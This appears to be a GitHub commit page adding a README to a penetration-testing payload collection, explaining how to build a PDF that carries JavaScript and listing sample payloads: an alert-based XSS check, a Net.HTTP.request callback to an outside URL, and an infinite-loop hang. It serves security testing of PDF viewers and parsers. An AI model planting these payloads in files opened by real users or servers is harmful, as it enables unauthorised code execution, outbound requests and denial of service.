Skip to content

Commit

Permalink
Merge pull request #630 from mtausig/patch-2
Browse files Browse the repository at this point in the history
Add documentation for PDF JS PoC
  • Loading branch information
swisskyrepo authored Oct 10, 2023
2 parents a95f11b + 5817de1 commit dd7525d
Showing 1 changed file with 44 additions and 0 deletions.
44 changes: 44 additions & 0 deletions Upload Insecure Files/Extension PDF JS/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# Generate PDF File Containing JavaScript Code

PDF may contain JavaScript code.
This script allow us to generate a PDF file which helps us to check if that code is executed when the file is opened.
Possible targets are client applications trying to open the file or sererside backends which are parsing the PDF file.

## HowTo

1. Edit the file `poc.js` with the JS code you want to have included in your PDF file
2. Install the required python modules using `pip install pdfrw`
3. Create the PDF: `python poc.py poc.js`
4. Open the file `result.pdf` on your victim's system

## Possible exploit codes

The full set of available functions is documented here: https://opensource.adobe.com/dc-acrobat-sdk-docs/library/jsapiref/JS_API_AcroJS.html

### XSS (for GUI viewers)

```js
app.alert("XSS");
```

### Open URL

```js
var cURL="http://[REDACTED]/";
var params =
{
cVerb: "GET",
cURL: cURL
};
Net.HTTP.request(params);
```

### Timeout

```js
while (true) {}
```

## References

The code is based on https://github.com/osnr/horrifying-pdf-experiments/

0 comments on commit dd7525d

Please sign in to comment.